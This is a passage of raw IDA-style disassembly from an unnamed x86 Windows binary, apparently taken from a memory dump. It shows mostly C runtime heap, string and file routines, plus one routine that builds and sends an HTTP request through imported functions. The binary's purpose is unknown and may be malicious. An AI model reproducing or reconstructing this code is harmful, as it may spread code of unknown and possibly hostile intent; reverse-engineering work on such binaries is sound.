		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A060
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB08C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE68
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A1C4
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A1BC
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A1B8


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A1B4
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A170
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A2A4
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAEA0
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF54
		call	dword_4CAF78
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF6C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAF18
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A288
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A24C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A230
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A204
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1D4


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFD8
		push	[ebp+var_4]
		call	dword_4CAFD8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC944
		call	near ptr 279067Ch
		nop


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC948
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC940
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2840000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB32C, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C324
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC944
		call	near ptr 27A0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		call	near ptr 2840000h
		nop
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB32C, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC944
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB32C, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB32C
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC948
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC940
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C324
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC944
		nop
		call	near ptr 27A0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
